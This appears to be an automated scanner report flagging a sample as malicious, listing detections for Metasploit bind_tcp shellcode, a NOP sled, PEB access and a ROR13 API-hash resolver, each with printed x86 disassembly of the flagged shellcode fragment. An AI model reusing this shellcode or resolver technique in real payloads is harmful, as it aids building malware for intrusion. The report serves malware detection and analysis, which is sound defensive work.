MALICIOUS
180
Risk Score
Heuristics 4
-
Metasploit bind_tcp shellcode critical SC_MSF_BINDMetasploit bind_tcp shellcode
Disassembly
x86 disassembly · validity: code (0.864) — 11/11 branch targets land on an instruction boundary (100% coherence)00000637 fc cld 00000638 e889000000 call 0x6c6 0000063D 60 pushal 0000063E 89e5 mov ebp, esp 00000640 31d2 xor edx, edx 00000642 648b5230 mov edx, dword ptr fs:[edx + 0x30] 00000646 8b520c mov edx, dword ptr [edx + 0xc] 00000649 8b5214 mov edx, dword ptr [edx + 0x14] 0000064C 8b7228 mov esi, dword ptr [edx + 0x28] 0000064F 0fb74a26 movzx ecx, word ptr [edx + 0x26] 00000653 31ff xor edi, edi 00000655 31c0 xor eax, eax 00000657 ac lodsb al, byte ptr [esi] 00000658 3c61 cmp al, 0x61 0000065A 7c02 jl 0x65e 0000065C 2c20 sub al, 0x20 0000065E c1cf0d ror edi, 0xd 00000661 01c7 add edi, eax 00000663 e2f0 loop 0x655 00000665 52 push edx 00000666 57 push edi 00000667 8b5210 mov edx, dword ptr [edx + 0x10] 0000066A 8b423c mov eax, dword ptr [edx + 0x3c] 0000066D 01d0 add eax, edx 0000066F 8b4078 mov eax, dword ptr [eax + 0x78] 00000672 85c0 test eax, eax 00000674 744a je 0x6c0 00000676 01d0 add eax, edx 00000678 50 push eax 00000679 8b4818 mov ecx, dword ptr [eax + 0x18] 0000067C 8b5820 mov ebx, dword ptr [eax + 0x20] 0000067F 01d3 add ebx, edx 00000681 e33c jecxz 0x6bf 00000683 49 dec ecx 00000684 8b348b mov esi, dword ptr [ebx + ecx*4] 00000687 01d6 add esi, edx 00000689 31ff xor edi, edi 0000068B 31c0 xor eax, eax 0000068D ac lodsb al, byte ptr [esi] 0000068E c1cf0d ror edi, 0xd 00000691 01c7 add edi, eax 00000693 38e0 cmp al, ah 00000695 75f4 jne 0x68b
-
NOP sled detected high SC_NOP_SLEDFound 20+ consecutive 0x90 bytesDisassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'inc' is 78% of instructions — a sled or padding/filler run, not program logic).
-
PEB access via FS segment (x86) high SC_PEB_ACCESSPEB access via FS segment (x86)
Disassembly
x86 disassembly · validity: code (0.862) — 10/10 branch targets land on an instruction boundary (100% coherence)00000642 648b5230 mov edx, dword ptr fs:[edx + 0x30] 00000646 8b520c mov edx, dword ptr [edx + 0xc] 00000649 8b5214 mov edx, dword ptr [edx + 0x14] 0000064C 8b7228 mov esi, dword ptr [edx + 0x28] 0000064F 0fb74a26 movzx ecx, word ptr [edx + 0x26] 00000653 31ff xor edi, edi 00000655 31c0 xor eax, eax 00000657 ac lodsb al, byte ptr [esi] 00000658 3c61 cmp al, 0x61 0000065A 7c02 jl 0x65e 0000065C 2c20 sub al, 0x20 0000065E c1cf0d ror edi, 0xd 00000661 01c7 add edi, eax 00000663 e2f0 loop 0x655 00000665 52 push edx 00000666 57 push edi 00000667 8b5210 mov edx, dword ptr [edx + 0x10] 0000066A 8b423c mov eax, dword ptr [edx + 0x3c] 0000066D 01d0 add eax, edx 0000066F 8b4078 mov eax, dword ptr [eax + 0x78] 00000672 85c0 test eax, eax 00000674 744a je 0x6c0 00000676 01d0 add eax, edx 00000678 50 push eax 00000679 8b4818 mov ecx, dword ptr [eax + 0x18] 0000067C 8b5820 mov ebx, dword ptr [eax + 0x20] 0000067F 01d3 add ebx, edx 00000681 e33c jecxz 0x6bf 00000683 49 dec ecx 00000684 8b348b mov esi, dword ptr [ebx + ecx*4] 00000687 01d6 add esi, edx 00000689 31ff xor edi, edi 0000068B 31c0 xor eax, eax 0000068D ac lodsb al, byte ptr [esi] 0000068E c1cf0d ror edi, 0xd 00000691 01c7 add edi, eax 00000693 38e0 cmp al, ah 00000695 75f4 jne 0x68b 00000697 037df8 add edi, dword ptr [ebp - 8] 0000069A 3b7d24 cmp edi, dword ptr [ebp + 0x24] 0000069D 75e2 jne 0x681 0000069F 58 pop eax 000006A0 8b .byte 0x8b 000006A1 58 pop eax
-
PEB API-hash resolver high SC_API_HASH_RESOLVERPEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
Disassembly
x86 disassembly · validity: code (0.862) — 10/10 branch targets land on an instruction boundary (100% coherence)00000642 648b5230 mov edx, dword ptr fs:[edx + 0x30] 00000646 8b520c mov edx, dword ptr [edx + 0xc] 00000649 8b5214 mov edx, dword ptr [edx + 0x14] 0000064C 8b7228 mov esi, dword ptr [edx + 0x28] 0000064F 0fb74a26 movzx ecx, word ptr [edx + 0x26] 00000653 31ff xor edi, edi 00000655 31c0 xor eax, eax 00000657 ac lodsb al, byte ptr [esi] 00000658 3c61 cmp al, 0x61 0000065A 7c02 jl 0x65e 0000065C 2c20 sub al, 0x20 0000065E c1cf0d ror edi, 0xd 00000661 01c7 add edi, eax 00000663 e2f0 loop 0x655 00000665 52 push edx 00000666 57 push edi 00000667 8b5210 mov edx, dword ptr [edx + 0x10] 0000066A 8b423c mov eax, dword ptr [edx + 0x3c] 0000066D 01d0 add eax, edx 0000066F 8b4078 mov eax, dword ptr [eax + 0x78] 00000672 85c0 test eax, eax 00000674 744a je 0x6c0 00000676 01d0 add eax, edx 00000678 50 push eax 00000679 8b4818 mov ecx, dword ptr [eax + 0x18] 0000067C 8b5820 mov ebx, dword ptr [eax + 0x20] 0000067F 01d3 add ebx, edx 00000681 e33c jecxz 0x6bf 00000683 49 dec ecx 00000684 8b348b mov esi, dword ptr [ebx + ecx*4] 00000687 01d6 add esi, edx 00000689 31ff xor edi, edi 0000068B 31c0 xor eax, eax 0000068D ac lodsb al, byte ptr [esi] 0000068E c1cf0d ror edi, 0xd 00000691 01c7 add edi, eax 00000693 38e0 cmp al, ah 00000695 75f4 jne 0x68b 00000697 037df8 add edi, dword ptr [ebp - 8] 0000069A 3b7d24 cmp edi, dword ptr [ebp + 0x24] 0000069D 75e2 jne 0x681 0000069F 58 pop eax 000006A0 8b .byte 0x8b 000006A1 58 pop eax
Open this report in the interactive analyzer, or submit your own file for analysis.